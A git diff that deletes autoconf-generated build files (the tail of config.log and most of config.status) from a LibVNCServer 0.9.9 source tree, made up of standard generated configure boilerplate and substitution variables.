-localedir='${datarootdir}/locale'
-localstatedir='${prefix}/var'
-mandir='${datarootdir}/man'
-mkdir_p='/bin/mkdir -p'
-oldincludedir='/usr/include'
-pdfdir='${docdir}'
-prefix='/usr/local'
-program_transform_name='s,x,x,'
-psdir='${docdir}'
-sbindir='${exec_prefix}/sbin'
-sharedstatedir='${prefix}/com'
-sysconfdir='${prefix}/etc'
-target_alias=''
-with_ffmpeg=''
-
-## ----------- ##
-## confdefs.h. ##
-## ----------- ##
-
-/* confdefs.h */
-#define PACKAGE_NAME "LibVNCServer"
-#define PACKAGE_TARNAME "libvncserver"
-#define PACKAGE_VERSION "0.9.9"
-#define PACKAGE_STRING "LibVNCServer 0.9.9"
-#define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-#define PACKAGE_URL ""
-#define PACKAGE "LibVNCServer"
-#define VERSION "0.9.9"
-#define STDC_HEADERS 1
-#define HAVE_SYS_TYPES_H 1
-#define HAVE_SYS_STAT_H 1
-#define HAVE_STDLIB_H 1
-#define HAVE_STRING_H 1
-#define HAVE_MEMORY_H 1
-#define HAVE_STRINGS_H 1
-#define HAVE_INTTYPES_H 1
-#define HAVE_STDINT_H 1
-#define HAVE_UNISTD_H 1
-#define HAVE_DLFCN_H 1
-#define ALLOW24BPP 1
-#define HAVE_LIBCRYPT 1
-#define HAVE_X11 1
-#define HAVE_LIBJPEG 1
-#define HAVE_LIBPNG 1
-#define HAVE_LIBZ 1
-#define HAVE_LIBPTHREAD 1
-#define HAVE_TLS 1
-#define WITH_TIGHTVNC_FILETRANSFER 1
-#define WITH_WEBSOCKETS 1
-#define IPv6 1
-#define STDC_HEADERS 1
-#define HAVE_ARPA_INET_H 1
-#define HAVE_FCNTL_H 1
-#define HAVE_NETDB_H 1
-#define HAVE_NETINET_IN_H 1
-#define HAVE_STDLIB_H 1
-#define HAVE_STRING_H 1
-#define HAVE_SYS_SOCKET_H 1
-#define HAVE_SYS_TIME_H 1
-#define HAVE_SYS_TIMEB_H 1
-#define HAVE_SYSLOG_H 1
-#define HAVE_UNISTD_H 1
-#define TIME_WITH_SYS_TIME 1
-#define HAVE_SYS_WAIT_H 1
-#define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-#define HAVE_STRFTIME 1
-#define HAVE_VPRINTF 1
-#define HAVE_FORK 1
-#define HAVE_VFORK 1
-#define HAVE_WORKING_VFORK 1
-#define HAVE_WORKING_FORK 1
-#define HAVE_LIBNSL 1
-#define HAVE_FTIME 1
-#define HAVE_GETHOSTBYNAME 1
-#define HAVE_GETHOSTNAME 1
-#define HAVE_GETTIMEOFDAY 1
-#define HAVE_INET_NTOA 1
-#define HAVE_MEMMOVE 1
-#define HAVE_MEMSET 1
-#define HAVE_MMAP 1
-#define HAVE_MKFIFO 1
-#define HAVE_SELECT 1
-#define HAVE_SOCKET 1
-#define HAVE_STRCHR 1
-#define HAVE_STRCSPN 1
-#define HAVE_STRDUP 1
-#define HAVE_STRERROR 1
-#define HAVE_STRSTR 1
-
-configure: exit 0
diff --git a/config.status b/config.status
deleted file mode 100755
index de458d4..0000000
--- a/config.status
+++ /dev/null
@@ -1,1448 +0,0 @@
-#! /bin/bash
-# Generated by configure.
-# Run this file to recreate the current configuration.
-# Compiler output produced by configure, useful for debugging
-# configure, is in config.log if it exists.
-
-debug=false
-ac_cs_recheck=false
-ac_cs_silent=false
-
-SHELL=${CONFIG_SHELL-/bin/bash}
-export SHELL
-## -------------------- ##
-## M4sh Initialization. ##
-## -------------------- ##
-
-# Be more Bourne compatible
-DUALCASE=1; export DUALCASE # for MKS sh
-if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then :
- emulate sh
- NULLCMD=:
- # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which
- # is contrary to our usage. Disable this feature.
- alias -g '${1+"$@"}'='"$@"'
- setopt NO_GLOB_SUBST
-else
- case `(set -o) 2>/dev/null` in #(
- *posix*) :
- set -o posix ;; #(
- *) :
- ;;
-esac
-fi
-
-
-as_nl='
-'
-export as_nl
-# Printing a long string crashes Solaris 7 /usr/bin/printf.
-as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
-# Prefer a ksh shell builtin over an external printf program on Solaris,
-# but without wasting forks for bash or zsh.
-if test -z "$BASH_VERSION$ZSH_VERSION" \
- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='print -r --'
- as_echo_n='print -rn --'
-elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='printf %s\n'
- as_echo_n='printf %s'
-else
- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
- as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"'
- as_echo_n='/usr/ucb/echo -n'
- else
- as_echo_body='eval expr "X$1" : "X\\(.*\\)"'
- as_echo_n_body='eval
- arg=$1;
- case $arg in #(
- *"$as_nl"*)
- expr "X$arg" : "X\\(.*\\)$as_nl";
- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
- esac;
- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
- '
- export as_echo_n_body
- as_echo_n='sh -c $as_echo_n_body as_echo'
- fi
- export as_echo_body
- as_echo='sh -c $as_echo_body as_echo'
-fi
-
-# The user is always right.
-if test "${PATH_SEPARATOR+set}" != set; then
- PATH_SEPARATOR=:
- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && {
- (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 ||
- PATH_SEPARATOR=';'
- }
-fi
-
-
-# IFS
-# We need space, tab and new line, in precisely that order. Quoting is
-# there to prevent editors from complaining about space-tab.
-# (If _AS_PATH_WALK were called with IFS unset, it would disable word
-# splitting by setting IFS to empty value.)
-IFS=" "" $as_nl"
-
-# Find who we are. Look in the path if we contain no directory separator.
-as_myself=
-case $0 in #((
- *[\\/]* ) as_myself=$0 ;;
- *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-# We did not find ourselves, most probably we were run as `sh COMMAND'
-# in which case we are not to be found in the path.
-if test "x$as_myself" = x; then
- as_myself=$0
-fi
-if test ! -f "$as_myself"; then
- $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2
- exit 1
-fi
-
-# Unset variables that we do not need and which cause bugs (e.g. in
-# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1"
-# suppresses any "Segmentation fault" message there. '((' could
-# trigger a bug in pdksh 5.2.14.
-for as_var in BASH_ENV ENV MAIL MAILPATH
-do eval test x\${$as_var+set} = xset \
- && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || :
-done
-PS1='$ '
-PS2='> '
-PS4='+ '
-
-# NLS nuisances.
-LC_ALL=C
-export LC_ALL
-LANGUAGE=C
-export LANGUAGE
-
-# CDPATH.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-
-# as_fn_error STATUS ERROR [LINENO LOG_FD]
-# ----------------------------------------
-# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are
-# provided, also output the error to LOG_FD, referencing LINENO. Then exit the
-# script with STATUS, using 1 if that was 0.
-as_fn_error ()
-{
- as_status=$1; test $as_status -eq 0 && as_status=1
- if test "$4"; then
- as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4
- fi
- $as_echo "$as_me: error: $2" >&2
- as_fn_exit $as_status
-} # as_fn_error
-
-
-# as_fn_set_status STATUS
-# -----------------------
-# Set $? to STATUS, without forking.
-as_fn_set_status ()
-{
- return $1
-} # as_fn_set_status
-
-# as_fn_exit STATUS
-# -----------------
-# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
-as_fn_exit ()
-{
- set +e
- as_fn_set_status $1
- exit $1
-} # as_fn_exit
-
-# as_fn_unset VAR
-# ---------------
-# Portably unset VAR.
-as_fn_unset ()
-{
- { eval $1=; unset $1;}
-}
-as_unset=as_fn_unset
-# as_fn_append VAR VALUE
-# ----------------------
-# Append the text in VALUE to the end of the definition contained in VAR. Take
-# advantage of any shell optimizations that allow amortized linear growth over
-# repeated appends, instead of the typical quadratic growth present in naive
-# implementations.
-if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then :
- eval 'as_fn_append ()
- {
- eval $1+=\$2
- }'
-else
- as_fn_append ()
- {
- eval $1=\$$1\$2
- }
-fi # as_fn_append
-
-# as_fn_arith ARG...
-# ------------------
-# Perform arithmetic evaluation on the ARGs, and store the result in the
-# global $as_val. Take advantage of shells that can avoid forks. The arguments
-# must be portable across $(()) and expr.
-if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then :
- eval 'as_fn_arith ()
- {
- as_val=$(( $* ))
- }'
-else
- as_fn_arith ()
- {
- as_val=`expr "$@" || test $? -eq 1`
- }
-fi # as_fn_arith
-
-
-if expr a : '\(a\)' >/dev/null 2>&1 &&
- test "X`expr 00001 : '.*\(...\)'`" = X001; then
- as_expr=expr
-else
- as_expr=false
-fi
-
-if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
- as_basename=basename
-else
- as_basename=false
-fi
-
-if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then
- as_dirname=dirname
-else
- as_dirname=false
-fi
-
-as_me=`$as_basename -- "$0" ||
-$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
- X"$0" : 'X\(//\)$' \| \
- X"$0" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X/"$0" |
- sed '/^.*\/\([^/][^/]*\)\/*$/{
- s//\1/
- q
- }
- /^X\/\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\/\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
-
-# Avoid depending upon Character Ranges.
-as_cr_letters='abcdefghijklmnopqrstuvwxyz'
-as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
-as_cr_Letters=$as_cr_letters$as_cr_LETTERS
-as_cr_digits='0123456789'
-as_cr_alnum=$as_cr_Letters$as_cr_digits
-
-ECHO_C= ECHO_N= ECHO_T=
-case `echo -n x` in #(((((
--n*)
- case `echo 'xy\c'` in
- *c*) ECHO_T=' ';; # ECHO_T is single tab character.
- xy) ECHO_C='\c';;
- *) echo `echo ksh88 bug on AIX 6.1` > /dev/null
- ECHO_T=' ';;
- esac;;
-*)
- ECHO_N='-n';;
-esac
-
-rm -f conf$$ conf$$.exe conf$$.file
-if test -d conf$$.dir; then
- rm -f conf$$.dir/conf$$.file
-else
- rm -f conf$$.dir
- mkdir conf$$.dir 2>/dev/null
-fi
-if (echo >conf$$.file) 2>/dev/null; then
- if ln -s conf$$.file conf$$ 2>/dev/null; then
- as_ln_s='ln -s'
- # ... but there are two gotchas:
- # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail.
- # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable.
- # In both cases, we have to default to `cp -pR'.
- ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe ||
- as_ln_s='cp -pR'
- elif ln conf$$.file conf$$ 2>/dev/null; then
- as_ln_s=ln
- else
- as_ln_s='cp -pR'
- fi
-else
- as_ln_s='cp -pR'
-fi
-rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file
-rmdir conf$$.dir 2>/dev/null
-
-
-# as_fn_mkdir_p
-# -------------
-# Create "$as_dir" as a directory, including parents if necessary.
-as_fn_mkdir_p ()
-{
-
- case $as_dir in #(
- -*) as_dir=./$as_dir;;
- esac
- test -d "$as_dir" || eval $as_mkdir_p || {
- as_dirs=
- while :; do
- case $as_dir in #(
- *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'(
- *) as_qdir=$as_dir;;
- esac
- as_dirs="'$as_qdir' $as_dirs"
- as_dir=`$as_dirname -- "$as_dir" ||
-$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
- X"$as_dir" : 'X\(//\)[^/]' \| \
- X"$as_dir" : 'X\(//\)$' \| \
- X"$as_dir" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X"$as_dir" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
- test -d "$as_dir" && break
- done
- test -z "$as_dirs" || eval "mkdir $as_dirs"
- } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir"
-
-
-} # as_fn_mkdir_p
-if mkdir -p . 2>/dev/null; then
- as_mkdir_p='mkdir -p "$as_dir"'
-else
- test -d ./-p && rmdir ./-p
- as_mkdir_p=false
-fi
-
-
-# as_fn_executable_p FILE
-# -----------------------
-# Test if FILE is an executable regular file.
-as_fn_executable_p ()
-{
- test -f "$1" && test -x "$1"
-} # as_fn_executable_p
-as_test_x='test -x'
-as_executable_p=as_fn_executable_p
-
-# Sed expression to map a string onto a valid CPP name.
-as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
-
-# Sed expression to map a string onto a valid variable name.
-as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'"
-
-
-exec 6>&1
-## ----------------------------------- ##
-## Main body of $CONFIG_STATUS script. ##
-## ----------------------------------- ##
-# Save the log message, to keep $0 and so on meaningful, and to
-# report actual input values of CONFIG_FILES etc. instead of their
-# values after options handling.
-ac_log="
-This file was extended by LibVNCServer $as_me 0.9.9, which was
-generated by GNU Autoconf 2.69. Invocation command line was
-
- CONFIG_FILES = $CONFIG_FILES
- CONFIG_HEADERS = $CONFIG_HEADERS
- CONFIG_LINKS = $CONFIG_LINKS
- CONFIG_COMMANDS = $CONFIG_COMMANDS
- $ $0 $@
-
-on `(hostname || uname -n) 2>/dev/null | sed 1q`
-"
-
-# Files that config.status was made for.
-config_files=" Makefile libvncserver.pc libvncclient.pc libvncserver/Makefile examples/Makefile examples/android/Makefile vncterm/Makefile webclients/Makefile webclients/java-applet/Makefile webclients/java-applet/ssl/Makefile libvncclient/Makefile client_examples/Makefile test/Makefile libvncserver-config LibVNCServer.spec"
-config_headers=" rfbconfig.h "
-config_commands=" rfb/rfbconfig.h depfiles chmod-libvncserver-config"
-
-ac_cs_usage="\
-\`$as_me' instantiates files and other configuration actions
-from templates according to the current configuration. Unless the files
-and actions are specified as TAGs, all are instantiated by default.
-
-Usage: $0 [OPTION]... [TAG]...
-
- -h, --help print this help, then exit
- -V, --version print version number and configuration settings, then exit
- --config print configuration, then exit
- -q, --quiet, --silent
- do not print progress messages
- -d, --debug don't remove temporary files
- --recheck update $as_me by reconfiguring in the same conditions
- --file=FILE[:TEMPLATE]
- instantiate the configuration file FILE
- --header=FILE[:TEMPLATE]
- instantiate the configuration header FILE
-
-Configuration files:
-$config_files
-
-Configuration headers:
-$config_headers
-
-Configuration commands:
-$config_commands
-
-Report bugs to <http://sourceforge.net/projects/libvncserver>."
-
-ac_cs_config="'--enable-maintainer-mode'"
-ac_cs_version="\
-LibVNCServer config.status 0.9.9
-configured by ./configure, generated by GNU Autoconf 2.69,
- with options \"$ac_cs_config\"
-
-Copyright (C) 2012 Free Software Foundation, Inc.
-This config.status script is free software; the Free Software Foundation
-gives unlimited permission to copy, distribute and modify it."
-
-ac_pwd='/data/src/android-master/external/libvncserver'
-srcdir='.'
-INSTALL='/usr/bin/install -c'
-MKDIR_P='/bin/mkdir -p'
-AWK='mawk'
-test -n "$AWK" || AWK=awk
-# The default lists apply if the user does not specify any file.
-ac_need_defaults=:
-while test $# != 0
-do
- case $1 in
- --*=?*)
- ac_option=`expr "X$1" : 'X\([^=]*\)='`
- ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'`
- ac_shift=:
- ;;
- --*=)
- ac_option=`expr "X$1" : 'X\([^=]*\)='`
- ac_optarg=
- ac_shift=:
- ;;
- *)
- ac_option=$1
- ac_optarg=$2
- ac_shift=shift
- ;;
- esac
-
- case $ac_option in
- # Handling of the options.
- -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r)
- ac_cs_recheck=: ;;
- --version | --versio | --versi | --vers | --ver | --ve | --v | -V )
- $as_echo "$ac_cs_version"; exit ;;
- --config | --confi | --conf | --con | --co | --c )
- $as_echo "$ac_cs_config"; exit ;;
- --debug | --debu | --deb | --de | --d | -d )
- debug=: ;;
- --file | --fil | --fi | --f )
- $ac_shift
- case $ac_optarg in
- *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;;
- '') as_fn_error $? "missing file argument" ;;
- esac
- as_fn_append CONFIG_FILES " '$ac_optarg'"
- ac_need_defaults=false;;
- --header | --heade | --head | --hea )
- $ac_shift
- case $ac_optarg in
- *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;;
- esac
- as_fn_append CONFIG_HEADERS " '$ac_optarg'"
- ac_need_defaults=false;;
- --he | --h)
- # Conflict between --help and --header
- as_fn_error $? "ambiguous option: \`$1'
-Try \`$0 --help' for more information.";;
- --help | --hel | -h )
- $as_echo "$ac_cs_usage"; exit ;;
- -q | -quiet | --quiet | --quie | --qui | --qu | --q \
- | -silent | --silent | --silen | --sile | --sil | --si | --s)
- ac_cs_silent=: ;;
-
- # This is an error.
- -*) as_fn_error $? "unrecognized option: \`$1'
-Try \`$0 --help' for more information." ;;
-
- *) as_fn_append ac_config_targets " $1"
- ac_need_defaults=false ;;
-
- esac
- shift
-done
-
-ac_configure_extra_args=
-
-if $ac_cs_silent; then
- exec 6>/dev/null
- ac_configure_extra_args="$ac_configure_extra_args --silent"
-fi
-
-if $ac_cs_recheck; then
- set X /bin/bash './configure' '--enable-maintainer-mode' $ac_configure_extra_args --no-create --no-recursion
- shift
- $as_echo "running CONFIG_SHELL=/bin/bash $*" >&6
- CONFIG_SHELL='/bin/bash'
- export CONFIG_SHELL
- exec "$@"
-fi
-
-exec 5>>config.log
-{
- echo
- sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX
-## Running $as_me. ##
-_ASBOX
- $as_echo "$ac_log"
-} >&5
-
-#
-# INIT-COMMANDS
-#
-PACKAGE="LibVNCServer"
-AMDEP_TRUE="" ac_aux_dir="."
-
-
-# Handling of arguments.
-for ac_config_target in $ac_config_targets
-do
- case $ac_config_target in
- "rfbconfig.h") CONFIG_HEADERS="$CONFIG_HEADERS rfbconfig.h" ;;
- "rfb/rfbconfig.h") CONFIG_COMMANDS="$CONFIG_COMMANDS rfb/rfbconfig.h" ;;
- "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
- "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;;
- "libvncserver.pc") CONFIG_FILES="$CONFIG_FILES libvncserver.pc" ;;
- "libvncclient.pc") CONFIG_FILES="$CONFIG_FILES libvncclient.pc" ;;
- "libvncserver/Makefile") CONFIG_FILES="$CONFIG_FILES libvncserver/Makefile" ;;
- "examples/Makefile") CONFIG_FILES="$CONFIG_FILES examples/Makefile" ;;
- "examples/android/Makefile") CONFIG_FILES="$CONFIG_FILES examples/android/Makefile" ;;
- "vncterm/Makefile") CONFIG_FILES="$CONFIG_FILES vncterm/Makefile" ;;
- "webclients/Makefile") CONFIG_FILES="$CONFIG_FILES webclients/Makefile" ;;
- "webclients/java-applet/Makefile") CONFIG_FILES="$CONFIG_FILES webclients/java-applet/Makefile" ;;
- "webclients/java-applet/ssl/Makefile") CONFIG_FILES="$CONFIG_FILES webclients/java-applet/ssl/Makefile" ;;
- "libvncclient/Makefile") CONFIG_FILES="$CONFIG_FILES libvncclient/Makefile" ;;
- "client_examples/Makefile") CONFIG_FILES="$CONFIG_FILES client_examples/Makefile" ;;
- "test/Makefile") CONFIG_FILES="$CONFIG_FILES test/Makefile" ;;
- "libvncserver-config") CONFIG_FILES="$CONFIG_FILES libvncserver-config" ;;
- "LibVNCServer.spec") CONFIG_FILES="$CONFIG_FILES LibVNCServer.spec" ;;
- "x11vnc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/Makefile" ;;
- "x11vnc/misc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/misc/Makefile" ;;
- "x11vnc/misc/turbovnc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/misc/turbovnc/Makefile" ;;
- "chmod-libvncserver-config") CONFIG_COMMANDS="$CONFIG_COMMANDS chmod-libvncserver-config" ;;
-
- *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;;
- esac
-done
-
-
-# If the user did not use the arguments to specify the items to instantiate,
-# then the envvar interface is used. Set only those that are not.
-# We use the long form for the default assignment because of an extremely
-# bizarre bug on SunOS 4.1.3.
-if $ac_need_defaults; then
- test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files
- test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers
- test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands
-fi
-
-# Have a temporary directory for convenience. Make it in the build tree
-# simply because there is no reason against having it here, and in addition,
-# creating and moving files from /tmp can sometimes cause problems.
-# Hook for its removal unless debugging.
-# Note that there is a small window in which the directory will not be cleaned:
-# after its creation but before its name has been assigned to `$tmp'.
-$debug ||
-{
- tmp= ac_tmp=
- trap 'exit_status=$?
- : "${ac_tmp:=$tmp}"
- { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status
-' 0
- trap 'as_fn_exit 1' 1 2 13 15
-}
-# Create a (secure) tmp directory for tmp files.
-
-{
- tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` &&
- test -d "$tmp"
-} ||
-{
- tmp=./conf$$-$RANDOM
- (umask 077 && mkdir "$tmp")
-} || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5
-ac_tmp=$tmp
-
-# Set up the scripts for CONFIG_FILES section.
-# No need to generate them if there are no CONFIG_FILES.
-# This happens for instance with `./config.status config.h'.
-if test -n "$CONFIG_FILES"; then
-
-
-ac_cr=`echo X | tr X '\015'`
-# On cygwin, bash can eat \r inside `` if the user requested igncr.
-# But we know of no other shell where ac_cr would be empty at this
-# point, so we can use a bashism as a fallback.
-if test "x$ac_cr" = x; then
- eval ac_cr=\$\'\\r\'
-fi
-ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' </dev/null 2>/dev/null`
-if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then
- ac_cs_awk_cr='\\r'
-else
- ac_cs_awk_cr=$ac_cr
-fi
-
-echo 'BEGIN {' >"$ac_tmp/subs1.awk" &&
-cat >>"$ac_tmp/subs1.awk" <<\_ACAWK &&
-S["am__EXEEXT_FALSE"]=""
-S["am__EXEEXT_TRUE"]="#"
-S["LTLIBOBJS"]=""
-S["RPMSOURCEDIR"]="NOT-FOUND"
-S["WITH_X11VNC_FALSE"]=""
-S["WITH_X11VNC_TRUE"]="#"
-S["HAVE_RPM_FALSE"]=""
-S["HAVE_RPM_TRUE"]="#"
-S["ANDROID_FALSE"]=""
-S["ANDROID_TRUE"]="#"
-S["OSX_FALSE"]=""
-S["OSX_TRUE"]="#"
-S["LINUX_FALSE"]="#"
-S["LINUX_TRUE"]=""
-S["CYGIPC_FALSE"]=""
-S["CYGIPC_TRUE"]="#"
-S["LIBOBJS"]=""
-S["HAVE_GNUTLS_FALSE"]=""
-S["HAVE_GNUTLS_TRUE"]="#"
-S["GNUTLS_LIBS"]=""
-S["GNUTLS_CFLAGS"]=""
-S["LIBGCRYPT_LIBS"]=""
-S["LIBGCRYPT_CFLAGS"]=""
-S["LIBGCRYPT_CONFIG"]="no"
-S["WSOCKLIB"]=""
-S["MINGW_FALSE"]=""
-S["MINGW_TRUE"]="#"
-S["HAVE_LIBGTK_FALSE"]=""
-S["HAVE_LIBGTK_TRUE"]="#"
-S["GTK_LIBS"]=""
-S["GTK_CFLAGS"]=""
-S["PKG_CONFIG_LIBDIR"]=""
-S["PKG_CONFIG_PATH"]=""
-S["PKG_CONFIG"]="/usr/bin/pkg-config"
-S["SDL_LIBS"]=""
-S["SDL_CFLAGS"]=""
-S["HAVE_LIBSDL_FALSE"]=""
-S["HAVE_LIBSDL_TRUE"]="#"
-S["HAVE_LIBPNG_FALSE"]="#"
-S["HAVE_LIBPNG_TRUE"]=""
-S["HAVE_LIBJPEG_FALSE"]="#"
-S["HAVE_LIBJPEG_TRUE"]=""
-S["HAVE_LIBZ_FALSE"]="#"
-S["HAVE_LIBZ_TRUE"]=""
-S["WITH_WEBSOCKETS_FALSE"]="#"
-S["WITH_WEBSOCKETS_TRUE"]=""
-S["WITH_TIGHTVNC_FILETRANSFER_FALSE"]="#"
-S["WITH_TIGHTVNC_FILETRANSFER_TRUE"]=""
-S["HAVE_LIBPTHREAD_FALSE"]="#"
-S["HAVE_LIBPTHREAD_TRUE"]=""
-S["JPEG_LDFLAGS"]=""
-S["HAVE_SYSTEM_LIBVNCSERVER_FALSE"]=""
-S["HAVE_SYSTEM_LIBVNCSERVER_TRUE"]="#"
-S["SYSTEM_LIBVNCSERVER_LIBS"]=""
-S["SYSTEM_LIBVNCSERVER_CFLAGS"]=""
-S["OSX_OPENGL_FALSE"]=""
-S["OSX_OPENGL_TRUE"]="#"
-S["AVAHI_LIBS"]=""
-S["AVAHI_CFLAGS"]=""
-S["HAVE_X11_FALSE"]="#"
-S["HAVE_X11_TRUE"]=""
-S["X_EXTRA_LIBS"]=""
-S["X_LIBS"]=""
-S["X_PRE_LIBS"]=" -lSM -lICE"
-S["X_CFLAGS"]=""
-S["XMKMF"]=""
-S["HAVE_LIBSSL_FALSE"]=""
-S["HAVE_LIBSSL_TRUE"]="#"
-S["SSL_LIBS"]=""
-S["CRYPT_LIBS"]="-lcrypt"
-S["HAVE_MP3LAME_FALSE"]=""
-S["HAVE_MP3LAME_TRUE"]="#"
-S["WITH_FFMPEG_FALSE"]=""
-S["WITH_FFMPEG_TRUE"]="#"
-S["with_ffmpeg"]=""
-S["LIBTOOL"]="$(SHELL) $(top_builddir)/libtool"
-S["ac_ct_F77"]=""
-S["FFLAGS"]=""
-S["F77"]=""
-S["CXXCPP"]="g++ -E"
-S["am__fastdepCXX_FALSE"]="#"
-S["am__fastdepCXX_TRUE"]=""
-S["CXXDEPMODE"]="depmode=gcc3"
-S["ac_ct_CXX"]="g++"
-S["CXXFLAGS"]="-g -O2"
-S["CXX"]="g++"
-S["CPP"]="gcc -E"
-S["OBJDUMP"]="objdump"
-S["AS"]="as"
-S["DLLTOOL"]="dlltool"
-S["RANLIB"]="ranlib"
-S["AR"]="/usr/bin/ar"
-S["ECHO"]="echo"
-S["LN_S"]="ln -s"
-S["EGREP"]="/bin/grep -E"
-S["GREP"]="/bin/grep"
-S["host_os"]="linux-gnu"
-S["host_vendor"]="unknown"
-S["host_cpu"]="x86_64"
-S["host"]="x86_64-unknown-linux-gnu"
-S["build_os"]="linux-gnu"
-S["build_vendor"]="unknown"
-S["build_cpu"]="x86_64"
-S["build"]="x86_64-unknown-linux-gnu"
-S["am__fastdepCC_FALSE"]="#"
-S["am__fastdepCC_TRUE"]=""
-S["CCDEPMODE"]="depmode=gcc3"
-S["am__nodep"]="_no"
-S["AMDEPBACKSLASH"]="\\"
-S["AMDEP_FALSE"]="#"
-S["AMDEP_TRUE"]=""
-S["am__quote"]=""
-S["am__include"]="include"
-S["DEPDIR"]=".deps"
-S["OBJEXT"]="o"
-S["EXEEXT"]=""
-S["ac_ct_CC"]="gcc"
-S["CPPFLAGS"]=""
-S["LDFLAGS"]=""
-S["CFLAGS"]="-g -O2 -Wall "
-S["CC"]="gcc"
-S["AM_BACKSLASH"]="\\"
-S["AM_DEFAULT_VERBOSITY"]="0"
-S["AM_DEFAULT_V"]="$(AM_DEFAULT_VERBOSITY)"
-S["AM_V"]="$(V)"
-S["am__untar"]="$${TAR-tar} xf -"
-S["am__tar"]="$${TAR-tar} chof - \"$$tardir\""
-S["AMTAR"]="$${TAR-tar}"
-S["am__leading_dot"]="."
-S["SET_MAKE"]=""
-S["AWK"]="mawk"
-S["mkdir_p"]="/bin/mkdir -p"
-S["MKDIR_P"]="/bin/mkdir -p"
-S["INSTALL_STRIP_PROGRAM"]="$(install_sh) -c -s"
-S["STRIP"]="strip"
-S["install_sh"]="${SHELL} /data/src/android-master/external/libvncserver/install-sh"
-S["MAKEINFO"]="${SHELL} /data/src/android-master/external/libvncserver/missing --run makeinfo"
-S["AUTOHEADER"]="${SHELL} /data/src/android-master/external/libvncserver/missing --run autoheader"
-S["AUTOMAKE"]="${SHELL} /data/src/android-master/external/libvncserver/missing --run automake-1.11"
-S["AUTOCONF"]="${SHELL} /data/src/android-master/external/libvncserver/missing --run autoconf"
